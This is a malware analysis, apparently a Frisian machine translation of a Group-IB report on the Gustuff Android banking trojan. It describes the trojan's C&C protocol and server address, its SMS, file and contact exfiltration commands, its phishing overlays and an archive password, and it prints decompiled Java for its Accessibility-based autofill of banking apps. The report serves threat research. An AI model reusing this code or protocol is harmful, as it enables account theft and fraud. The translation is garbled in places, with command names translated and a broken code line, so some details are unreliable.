Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt

Krekt de oare deis Group-IB melde oer de aktiviteit fan 'e mobile Android Trojan Gustuff. It wurket eksklusyf op ynternasjonale merken, oanfallen kliïnten fan 'e 100 grutste bûtenlânske banken, brûkers fan 32 mobile krypto-slúven, lykas ek grutte e-commerce boarnen. Mar de ûntwikkelder fan Gustuff is in Russysktalige cyberkrimineel ûnder de bynamme Bestoffer. Mear resint priizge hy syn Trojan as "in serieus produkt foar minsken mei kennis en ûnderfining."

Group-IB Malicious Code Analyst Ivan Pisarev yn syn ûndersyk praat hy yn detail oer hoe't Gustuff wurket en wat it gefaar is.

Wa is Gustuff op jacht?

Gustuff heart ta in nije generaasje malware mei folslein automatisearre funksjes. Neffens de ûntwikkelder is de Trojan in nije ferbettere ferzje wurden fan 'e AndyBot-malware dy't sûnt novimber 2017 Android-tillefoans oanfallen hat en jild stelle troch phishing-webfoarmen dy't maskere as mobile applikaasjes fan bekende ynternasjonale banken en betellingssystemen. Bestoffer rapportearre dat Gustuff Bot waard priis op $ 800 per moanne.

Analyse fan 'e Gustuff-probe liet sjen dat de Trojan potensjeel rjochte op klanten mei mobile applikaasjes fan' e grutste banken, lykas Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, lykas Bitcoin Wallet , BitPay Krypto-wallets. , Cryptopay, Coinbase, ensfh.

Yn earste ynstânsje makke as in klassike bank Trojan, hat de hjoeddeistige ferzje fan Gustuff de list mei potinsjele doelen foar oanfal signifikant útwreide. Neist Android-applikaasjes foar banken, fintech-bedriuwen en kryptotsjinsten rjochtet Gustuff op brûkers fan merkapplikaasjes, online winkels, betellingssystemen en instant messengers. Benammen PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut en oaren.

Yngongspunt: berekkening foar massa ynfeksje

Gustuff wurdt karakterisearre troch de "klassike" fektor fan penetraasje yn Android-smartphones fia SMS-mailings mei keppelings nei APK's. As in Android-apparaat is ynfekteare mei in trojan op kommando fan 'e tsjinner, kin Gustuff fierder ferspriede fia de kontaktdatabase fan 'e ynfekteare tillefoan of fia de tsjinnerdatabase. De funksjonaliteit fan Gustuff is ûntworpen foar massale ynfeksje en maksimale kapitalisaasje fan it bedriuw fan har operators - it hat in unike "auto-fill" funksje yn legitime mobile bankapplikaasjes en krypto-slúven, wêrtroch jo de stellerij fan jild kinne fersnelle en skaalje. .

In stúdzje fan 'e Trojan liet sjen dat de autofill-funksje dêryn ymplementearre is mei de Accessibility Service, in tsjinst foar minsken mei in beheining. Gustuff is net de earste Trojan dy't mei súkses beskerming tsjin ynteraksje mei finstereleminten fan oare applikaasjes mei dizze Android-tsjinst omgiet. It gebrûk fan de Tagonklikheidstsjinst yn kombinaasje mei autofill is lykwols noch frij seldsum.

Nei it ynladen nei de tillefoan fan it slachtoffer, krijt Gustuff, mei help fan 'e Tagonklikheidstsjinst, de kâns om ynteraksje mei finstereleminten fan oare applikaasjes (bankieren, cryptocurrency, lykas applikaasjes foar online winkeljen, messaging, ensfh.), It útfieren fan de aksjes dy't nedich binne foar oanfallers . Bygelyks, op it kommando fan 'e tsjinner, kin de Trojan op knoppen klikke en de wearden fan tekstfjilden yn bankapplikaasjes feroarje. It brûken fan it Accessibility Service-meganisme lit de Trojan de beskermingsmeganismen omgean dy't troch banken brûkt wurde om mobile Trojans fan 'e foarige generaasje tsjin te gean, lykas feroaringen yn it befeiligingsbelied útfierd troch Google yn nije ferzjes fan it Android OS. Dus, Gustuff "wit hoe" om Google Protect-beskerming út te skeakeljen: neffens de skriuwer wurket dizze funksje yn 70% fan 'e gefallen.

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt

Gustuff kin ek falske PUSH-notifikaasjes sjen litte mei ikoanen fan legitime mobile applikaasjes. De brûker klikt op 'e PUSH-notifikaasje en sjocht in phishing-finster ynladen fan' e tsjinner, wêr't hy de frege gegevens fan in bankkaart of krypto-wallet ynfiert. Yn in oar senario iepenet Gustuff de applikaasje út namme wêrfan de PUSH-notifikaasje waard toand. Yn dit gefal kin de malware, op kommando fan 'e tsjinner fia de Accessibility Service, de formulierfjilden fan' e bankapplikaasje ynfolje foar in frauduleuze transaksje.

De funksjonaliteit fan Gustuff omfettet ek it ferstjoeren fan ynformaasje oer in ynfekteare apparaat nei de tsjinner, de mooglikheid om SMS-berjochten te lêzen / te ferstjoeren, USSD-oanfragen te ferstjoeren, SOCKS5 Proxy te starten, in keppeling folgje, bestannen ferstjoere (ynklusyf fotoscans fan dokuminten, skermôfbyldings, foto's) nei de tsjinner, set it apparaat werom nei fabryksynstellingen.

Malware analyze

Foardat jo in kweade applikaasje ynstallearje, toant Android OS de brûker in finster mei in list mei de rjochten oanfrege troch Gustuff:

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt
De ynstallaasje fan 'e applikaasje sil allinich plakfine nei it krijen fan de tastimming fan' e brûker. Nei it starten fan de applikaasje sil de Trojan de brûker in finster sjen litte:

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt
Dan sil it syn ikoan fuortsmite.

Gustuff wurdt neffens de skriuwer ynpakt troch de FTT-pakker. Ienkear lansearre hat de applikaasje periodyk tagong ta de CnC-tsjinner om kommando's te ûntfangen. Yn ferskate fan 'e bestannen dy't wy studearre, waard it IP-adres brûkt as de kontrôletsjinner 88.99.171[.]105 (hjirnei oantsjutten as <%C&C%>).

Nei it starten fan it programma begjint it ferstjoeren fan berjochten nei de tsjinner http://<%CnC%>/api/v1/get.php.

It folgjende JSON-formaat wurdt ferwachte as antwurd:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Mei elk fersyk stjoert de applikaasje ynformaasje oer it ynfekteare apparaat. It berjochtformaat wurdt hjirûnder werjûn. Dêrby moat opmurken wurde dat de fjilden fol, ekstra, apps и privé - opsjoneel en sil allinich stjoerd wurde yn gefal fan in fersykkommando fan CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Opslach fan konfiguraasjegegevens

Gustuff bewarret wichtige ynformaasje yn in foarkarsbestân. De triemnamme, lykas de parameternammen dêryn, is it resultaat fan it berekkenjen fan de MD5-som út 'e tekenrige 15413090667214.6.1<%namme%>wêr <%name%> is de oarspronklike namme-wearde. Python-ynterpretaasje fan 'e nammegeneraasjefunksje:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Yn wat folget, sille wy oantsjutte as namme Generator (ynfier).
Dus de namme fan it earste bestân is: nameGenerator("API_SERVER_LIST"), it befettet wearden mei de folgjende nammen:

Fariabele namme wearde
nameGenerator("API_SERVER_LIST") Befettet in list mei CnC-adressen as in array.
nameGenerator("API_SERVER_URL") Befettet CnC adres.
nameGenerator("SMS_UPLOAD") De flagge is standert ynsteld. As de flagge is ynsteld, stjoert it SMS-berjochten nei CnC.
nameGenerator("SMS_ROOT_NUMBER") Tillefoannûmer wêrnei SMS-berjochten ûntfongen troch it ynfekteare apparaat sille wurde ferstjoerd. De standert is nul.
nameGenerator("SMS_ROOT_NUMBER_RESEND") De flagge wurdt standert wiske. As ynsteld, as in ynfekteare apparaat in SMS ûntfangt, sil it nei it rootnûmer stjoerd wurde.
nameGenerator("DEFAULT_APP_SMS") De flagge wurdt standert wiske. As dizze flagge ynsteld is, sil de applikaasje ynkommende SMS-berjochten ferwurkje.
nameGenerator("DEFAULT_ADMIN") De flagge wurdt standert wiske. As de flagge ynsteld is, hat de applikaasje behearderrjochten.
nameGenerator("DEFAULT_ACCESSIBILITY") De flagge wurdt standert wiske. As de flagge ynsteld is, rint de tsjinst dy't de Accessibility Service brûkt.
nameGenerator("APPS_CONFIG") JSON-objekt, befettet in list mei aksjes dy't moatte wurde útfierd as in Tagonklikheid-evenemint wurdt ûntslein ferbûn mei in spesifike applikaasje.
nameGenerator("APPS_INSTALLED") Bewarret in list mei applikaasjes ynstalleare op it apparaat.
nameGenerator("IS_FIST_RUN") De flagge wurdt wiske by de earste start.
nameGenerator("UNIQUE_ID") Befettet in unike identifier. Generearre as de bot foar it earst wurdt lansearre.

Server kommando ferwurkjen module

De applikaasje bewarret adressen fan CnC-tsjinners as in array fan kodearre Basis85 rigels. De list mei CnC-tsjinners kin feroare wurde by ûntfangst fan it passende kommando, yn hokker gefal de adressen wurde opslein yn it foarkarsbestân.

As antwurd op it fersyk stjoert de tsjinner in kommando nei de applikaasje. It moat opmurken wurde dat kommando's en parameters wurde presintearre yn JSON-formaat. De applikaasje kin de folgjende kommando's ferwurkje:

team beskriuwing
foarútStart Begjin ferstjoeren fan SMS-berjochten ûntfongen troch it ynfekteare apparaat nei de CnC-tsjinner.
foarútStop Stopje it ferstjoeren fan SMS-berjochten ûntfongen troch it ynfekteare apparaat nei de CnC-tsjinner.
ussdRun Meitsje in USSD-fersyk. It nûmer dêr't jo in USSD-oanfraach foar meitsje moatte is yn it "nûmer" JSON-fjild.
stjoerSms Stjoer ien SMS-berjocht (as it nedich is, wurdt it berjocht "opdield" yn dielen). As parameter nimt it kommando in JSON-objekt mei de fjilden "oan" - it bestimmingsnûmer en "lichem" - it lichem fan it berjocht.
sendSmsAb Stjoer SMS-berjochten (as it nedich is, is it berjocht "opsplitst" yn dielen) nei elkenien út 'e kontaktlist fan it ynfekteare apparaat. It ynterval tusken it ferstjoeren fan berjochten is 10 sekonden. It lichem fan it berjocht is yn it JSON-fjild "body"
sendSmsMass Stjoer SMS-berjochten (as it nedich is, wurdt it berjocht "opsplitst" yn dielen) nei de kontakten spesifisearre yn 'e kommandoparameters. It ynterval tusken it ferstjoeren fan berjochten is 10 sekonden. As parameter nimt it kommando in JSON-array (fjild "sms"), wêrfan de eleminten de fjilden "nei" befetsje - it bestimmingsnûmer en "lichem" - it lichem fan it berjocht.
changeServer Dit kommando kin in wearde nimme mei de "url"-kaai as parameter - dan sil de bot de wearde fan nameGenerator ("SERVER_URL") of "array" feroarje - dan sil de bot de array skriuwe nei nameGenerator ("API_SERVER_LIST"). Sa feroaret de applikaasje it adres fan CnC-tsjinners.
adminNumber It kommando is ûntwurpen om te wurkjen mei it rootnûmer. It kommando akseptearret in JSON-objekt mei de folgjende parameters: "nûmer" - feroarje nammeGenerator ("ROOT_NUMBER") nei de ûntfongen wearde, "ferstjoere" - feroarje nammeGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - stjoer unyk ID nei nameGenerator ("ROOT_NUMBER") ").
updateInfo Stjoer ynformaasje oer it ynfekteare apparaat nei de tsjinner.
wipeData It kommando is bedoeld foar it wiskjen fan brûkersgegevens. Ofhinklik fan hokker namme de applikaasje waard lansearre, bart of it folsleine wiskjen fan gegevens mei in opnij opstart fan it apparaat (primêre brûker) of it wiskjen fan allinich brûkersgegevens (sekundêre brûker).
sokkenStart Starte de proxy module. De wurking fan de module wurdt beskreaun yn in aparte paragraaf.
sokkenStop Stopje de proxy module.
iepen link Folgje de keppeling. De keppeling is yn 'e JSON-parameter troch de "url"-kaai. "android.intent.action.VIEW" wurdt brûkt om de keppeling te iepenjen.
uploadAllSms Stjoer alle SMS-berjochten ûntfongen troch it apparaat nei de tsjinner.
uploadAllPhotos Stjoer ôfbyldings fan it ynfekteare apparaat nei de URL. De URL komt as in parameter.
bestân oplade Stjoer in bestân fan in ynfekteare apparaat nei in URL. De URL komt as in parameter.
uploadPhone Numbers Stjoer telefoannûmers út de kontaktlist nei de tsjinner. As in JSON-objekt mei de kaai "ab" as parameter komt, ûntfangt de applikaasje in list mei kontakten út it tillefoanboek. As in JSON-objekt mei de kaai "sms" wurdt ûntfongen as parameter, lêst de applikaasje de list mei kontakten fan de stjoerders fan SMS-berjochten.
feroarjeArchive De applikaasje downloadt in bestân fan it adres dat komt as in parameter mei de "url" kaai. It ynladen bestân wurdt bewarre mei de namme "archive.zip". Dêrnei sil de applikaasje it bestân unzip, as it nedich is mei it wachtwurd foar it argyf "b5jXh37gxgHBrZhQ4j3D". De unzipped triemmen wurde bewarre yn de map [eksterne opslach]/hgps. Yn dizze map bewarret de applikaasje webfakes (hjirûnder beskreaun).
aksjes It kommando is ûntworpen om te wurkjen mei Action Service, dat wurdt beskreaun yn in aparte paragraaf.
toets Neat dwaan.
download It kommando is ûntworpen om in bestân te downloaden fan in tsjinner op ôfstân en it op te slaan yn 'e map Downloads. De URL en de triemnamme komme as parameter, de fjilden yn it JSON-objekt binne respektivelik de parameter: "url" en "fileName".
weinimme Ferwideret in bestân út de map Downloads. De triemnamme komt yn in JSON-parameter mei de kaai "fileName". De standert triemnamme is "tmp.apk".
Notifikaasje Lit notifikaasje sjen mei beskriuwing en titelteksten definieare troch de behearserver.

Kommando-formaat Notifikaasje:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

De notifikaasje generearre troch it ûndersochte bestân liket identyk oan notifikaasjes generearre troch de applikaasje opjûn yn it fjild app. As it fjild wearde iepenApp - Wier, as de notifikaasje wurdt iepene, wurdt de applikaasje opjûn yn it fjild lansearre app. As it fjild wearde iepenApp - Falsk, dan:

  • in phishing-finster iepenet, wêrfan de ynhâld wurdt laden út de map <%external storage%>/hgps/<%filename%>
  • in phishing-finster iepenet, wêrfan de ynhâld wurdt ynladen fan de tsjinner <%url%>?id=<%Bot id%>&app=<%Applikaasjenamme%>
  • in phishing-finster ferklaaid as in Google Play-kaart iepenet, mei de opsje om kaartdetails yn te fieren.

De applikaasje stjoert it resultaat fan 'e útfiering fan elk kommando nei <%CnC%>set_state.php as JSON-objekt yn it folgjende formaat:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
De list mei kommando's dy't de applikaasje ferwurket omfettet aksje. As in kommando wurdt ûntfongen, ropt de kommando-ferwurkingsmodule dizze tsjinst om it útwreide kommando út te fieren. De tsjinst nimt in JSON-objekt as parameter. De tsjinst kin de folgjende kommando's útfiere:

1. PARAMS_ACTION - as jo sa'n kommando ûntfange, krijt de tsjinst earst in wearde fan 'e JSON-parameter troch de Type-kaai, it kin as folgjend wêze:

  • serviceInfo - it subkommando krijt de wearde fan 'e JSON-parameter troch kaai includeNotImportant. As de flagge wier is, stelt de applikaasje de flagge yn FLAG_ISOLATED_PROCESS oan in tsjinst dy't de Tagonklikenstsjinst brûkt. Sa sil de tsjinst yn in apart proses lansearre wurde.
  • woartel - ûntfange en stjoere nei de tsjinner ynformaasje oer it finster dat op it stuit yn fokus is. In applikaasje krijt ynformaasje mei de AccessibilityNodeInfo-klasse.
  • admin - fersyk administrator rjochten.
  • ferfal - suspend de ActionsService foar it oantal millisekonden spesifisearre yn de parameter troch de "gegevens" kaai.
  • finsters - stjoer in list mei finsters sichtber foar de brûker.
  • ynstallearje - ynstallearje de applikaasje op it ynfekteare apparaat. De namme fan it pakket - argyf is yn 'e kaai "bestânnamme". It argyf sels is te finen yn 'e map Downloads.
  • mondiaal - it subkommando is bedoeld foar it wikseljen fan it hjoeddeistige finster:
    • yn it menu Quick Settings
    • efterút
    • thús
    • oan notifikaasjes
    • nei it koartlyn iepene applikaasjefinster

  • launch - start de applikaasje. De namme fan 'e applikaasje komt as in wichtige parameter data.
  • lûden - feroarje de lûdmodus nei stilte.
  • ûntsluten - skeakelet de efterljochting fan it skerm en toetseboerd yn nei folsleine helderheid. De applikaasje fiert dizze aksje mei WakeLock, spesifisearret de tekenrige [Applikaasjelabel]:INFO as in tag
  • permissionOverlay - funksje net ymplementearre (antwurd op kommando-útfiering - {"message":"Net stipe"} of {"berjocht":"low sdk"})
  • gebeart - funksje net ymplementearre (antwurd op kommando útfiering - {"message":"Net stipe"} of {"berjocht":"Low API"})
  • tagongsrjochten - Dit kommando is nedich om tagongsrjochten foar de applikaasje oan te freegjen. De fersykfunksje wurdt lykwols net ymplementearre, dus it kommando is sinleas. De list mei oanfrege tagongsrjochten komt as in JSON-array mei de kaai "fergunningen". Standert list:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • iepen - werjaan in phishing-finster. Ofhinklik fan de parameter dy't fan 'e tsjinner komt, kin de applikaasje de folgjende phishing-finsters werjaan:
    • Lit in phishing-finster sjen wêrfan de ynhâld skreaun is yn in bestân yn in map <%external directory%>/hgps/<%param_filename%>. It resultaat fan brûkersynteraksje mei it finster sil nei it adres stjoerd wurde <%CnC%>/records.php
    • Lit in phishing-finster sjen wêrfan de ynhâld foarôf laden is fan in adres <%url_param%>?id=<%bot_id%>&app=<%packagename%>. It resultaat fan brûkersynteraksje mei it finster sil nei it adres stjoerd wurde <%CnC%>/records.php
    • Toan in phishing-finster ferklaaid as in Google Play-kaart.

  • ynteraktyf - it kommando is ûntworpen om te ynteraksje mei finstereleminten fan oare applikaasjes mei de AcessibilityService. In spesjale tsjinst wurdt ymplementearre yn it programma foar ynteraksje. De ûndersochte applikaasje kin ynteraksje mei Windows:
    • Aktyf op it stuit. Yn dit gefal befettet de parameter de id of tekst (namme) fan it objekt wêrmei jo ynteraksje wolle.
    • Sichtber foar de brûker op it momint dat it kommando wurdt útfierd. De applikaasje selekteart finsters op id.

    De objekten hawwe ûntfongen TagonklikheidNodeInfo foar finstereleminten fan belang kin de applikaasje, ôfhinklik fan de parameters, de folgjende aksjes útfiere:

    • fokus - set fokus op in objekt.
    • klik - klik op in objekt.
    • actionId - útfiere in aksje troch ID.
    • setText - feroarje de tekst fan it objekt. It feroarjen fan de tekst is mooglik op twa manieren: in aksje útfiere ACTION_SET_TEXT (as de Android-ferzje fan it ynfekteare apparaat jonger is as of gelyk oan LOLLIPOP), of troch in tekenrige op it klamboerd te pleatsen en it yn in objekt te plakjen (foar âldere ferzjes). Dit kommando kin brûkt wurde om gegevens te feroarjen yn 'e bankapplikaasje.

2. PARAMS_ACTIONS - itselde as PARAMS_ACTION, komt allinich in JSON-array fan kommando's oan.

It liket derop dat in protte ynteressearre binne yn hoe't de funksje fan ynteraksje mei de eleminten fan it finster fan in oare applikaasje der útsjocht. Dit is hoe't dizze funksjonaliteit wurdt ymplementearre yn Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Tekstferfangingsfunksje:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Sa kin Gustuff mei de juste konfiguraasje fan 'e kontrôletsjinner de tekstfjilden yn' e bankapplikaasje ynfolje en klikke op de knoppen dy't nedich binne om de transaksje te foltôgjen. De Trojan hoecht net iens autorisaasje troch te jaan yn 'e applikaasje - it is genôch om in kommando te stjoeren om in PUSH-notifikaasje te demonstrearjen, folge troch it iepenjen fan in earder ynstalleare bankapplikaasje. De brûker sels wurdt autorisearre, wêrnei't Gustuff autofille kin.

SMS ferwurkjen module

De applikaasje stelt in evenemintehanneler yn foar it ûntfangen fan SMS-berjochten troch it ynfekteare apparaat. De ûndersochte applikaasje kin kommando's ûntfange fan 'e operator dy't yn it lichem fan in SMS-berjocht komme. Kommando's komme yn it formaat:

7!5=<%Base64 kodearre kommando%>

De applikaasje siket alle ynkommende SMS-berjochten foar de tekenrige 7!5=, as in tekenrige wurdt fûn, dekodearret it de tekenrige fan Base64 by offset 4 en fiert it kommando út. De kommando's binne fergelykber mei de kommando's mei CnC. It resultaat fan 'e útfiering wurdt stjoerd nei itselde nûmer wêrfan it kommando ûntfongen is. Reaksjeformaat:

7*5=<%Base64 kodearring fan "resultaatkoade kommando"%>

Opsjoneel kin de applikaasje alle ûntfongen berjochten stjoere nei it rootnûmer. Om dit te dwaan, moat it rootnûmer yn it foarkarsbestân oanjûn wurde en de flagge foar berjochtferwizing moat ynsteld wurde. In SMS-berjocht wurdt stjoerd nei it nûmer fan de oanfaller yn it folgjende formaat:

<%From nûmer%> - <%Tiid, formaat: dd/MM/jjjj UU:mm:ss%> <%SMS body%>

Ek opsjoneel kin de applikaasje berjochten stjoere nei de CnC. It SMS-berjocht wurdt stjoerd nei de tsjinner yn JSON-formaat:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

As de flagge is ynsteld nameGenerator("DEFAULT_APP_SMS") - de applikaasje stopt it ferwurkjen fan it SMS-berjocht en wisket de list mei ynkommende berjochten.

Proxy module

Yn de applikaasje ûnder stúdzje, der is in Backconnect Proxy module (hjirnei oantsjutten as de Proxy module), dat hat in aparte klasse dy't omfiemet statyske fjilden mei in konfiguraasje. Konfiguraasjegegevens wurde opslein yn 'e stekproef yn dúdlike tekst:

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt

Alle aksjes útfierd troch de Proxy-module wurde oanmeld by bestannen. Om dit te dwaan, makket de applikaasje in map mei de namme "logs" yn External Storage (it fjild ProxyConfigClass.logsDir yn 'e konfiguraasjeklasse), wêryn logtriemmen wurde opslein. Logging fynt plak yn triemmen mei nammen:

  1. main.txt - dit bestân wurdt brûkt om it wurk fan 'e klasse mei de namme CommandServer oan te melden. Yn wat folget, sil de logging fan 'e tekenrige str nei dit bestân wurde oantsjutten as mainLog(str).
  2. sesje-<%id%>.txt - loggegevens ferbûn mei in bepaalde proxy-sesje wurde opslein yn dit bestân. Yn wat folget, sil it logboek fan 'e tekenrige str nei dit bestân wurde oantsjutten as sessionLog (str).
  3. server.txt - dit bestân is wêr't alle gegevens skreaun nei de boppesteande bestannen wurde oanmeld.

Loggegevensformaat:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Utsûnderings dy't foarkomme tidens de wurking fan 'e Proxy-module wurde ek oanmeld by in bestân. Om dit te dwaan genereart de applikaasje in JSON-objekt fan it formaat:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Dan konvertearret it it nei in tekenrige fertsjintwurdiging en logs.

De proxymodule wurdt lansearre nei't it korrespondearjende kommando oankomt. As in kommando wurdt ûntfongen om de proxymodule te starten, begjint de applikaasje de tsjinst mei de namme MainService, dy't ferantwurdlik is foar it behearen fan de wurking fan 'e Proxy-module - it begjinnen en stopjen.

Stappen foar lansearring fan tsjinst:

1. Begjint in timer dy't ien kear yn 'e minút fjoer en kontrolearret de aktiviteit fan 'e proxymodule. As de module net aktyf is, begjint it.
Ek as it evenemint fjoer android.net.conn.CONNECTIVITY_CHANGE de proxy module wurdt lansearre.

2. De applikaasje makket in wake-lock mei in parameter PARTIAL_WAKE_LOCK en fangt him. Sa lit it de CPU fan it apparaat net yn sliepmodus gean.

3. Rint de kommando-ferwurkingsklasse fan 'e proxymodule út, earst de line oanmelde mainLog("startserver") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

wêr proxy_cnc, command_port en proxy_port - parameters ûntfongen fan 'e proxyserverkonfiguraasje.

De kommando-ferwurkingsklasse wurdt neamd CommandConnection. Fuort nei lansearring fiert it de folgjende aksjes út:

4. Ferbynt oan ProxyConfigClass.host: ProxyConfigClass.commandPort en stjoert gegevens oer it ynfekteare apparaat dêr yn JSON-formaat:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Wêr:

  • id - identifier, besykje te krijen út it Shared Preference triem mei de namme "x" in wearde mei it "id" fjild. As dizze wearde net krigen wurde koe, genereart it in nije. Sa hat de proxy-module in eigen identifier, dy't fergelykber wurdt generearre as de Bot ID.
  • imei - IMEI fan it apparaat. As der in flater barde by it heljen fan de wearde, sil in flatertekstberjocht skreaun wurde ynstee fan dit fjild.
  • imsi - International Mobile Subscriber Identity fan it apparaat. As der in flater barde by it heljen fan de wearde, sil in flatertekstberjocht skreaun wurde ynstee fan dit fjild.
  • model - De ein-brûker-sichtbere namme foar it einprodukt.
  • fabrikant - De fabrikant fan it produkt/hardware (Build.MANUFACTURER).
  • androidVersion is in tekenrige yn it formaat "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • lân is de hjoeddeistige lokaasje fan it apparaat.
  • partnerId is in lege tekenrige.
  • packageName - packagename.
  • networkType - type aktuele netwurkferbining (foarbyld: "WIFI", "MOBILE"). Jout nul op flater.
  • hasGsmSupport - wier - as de telefoan stipet GSM, oars falsk.
  • simReady - SIM-kaartstatus.
  • simCountry - ISO-koade fan it lân (basearre op de SIM-kaartprovider).
  • netwurkOperator - de namme fan de operator. As der in flater barde by it heljen fan de wearde, sil in flatertekstberjocht skreaun wurde ynstee fan dit fjild.
  • simOperator - De namme fan de tsjinstferliener (SPN). As der in flater barde by it heljen fan de wearde, sil in flatertekstberjocht skreaun wurde ynstee fan dit fjild.
  • ferzje - dit fjild wurdt opslein yn 'e konfiguraasjeklasse, foar de studearre ferzjes fan' e bot wie it gelyk oan "1.6".

5. Wiziget nei de modus fan wachtsjen op kommando's fan 'e tsjinner. Kommando's fan 'e tsjinner komme yn it formaat:

  • 0 offset-kommando
  • 1 offset-sessionId
  • 2 offset-lingte
  • 4 offset-data

As in kommando wurdt ûntfongen, logt de applikaasje:
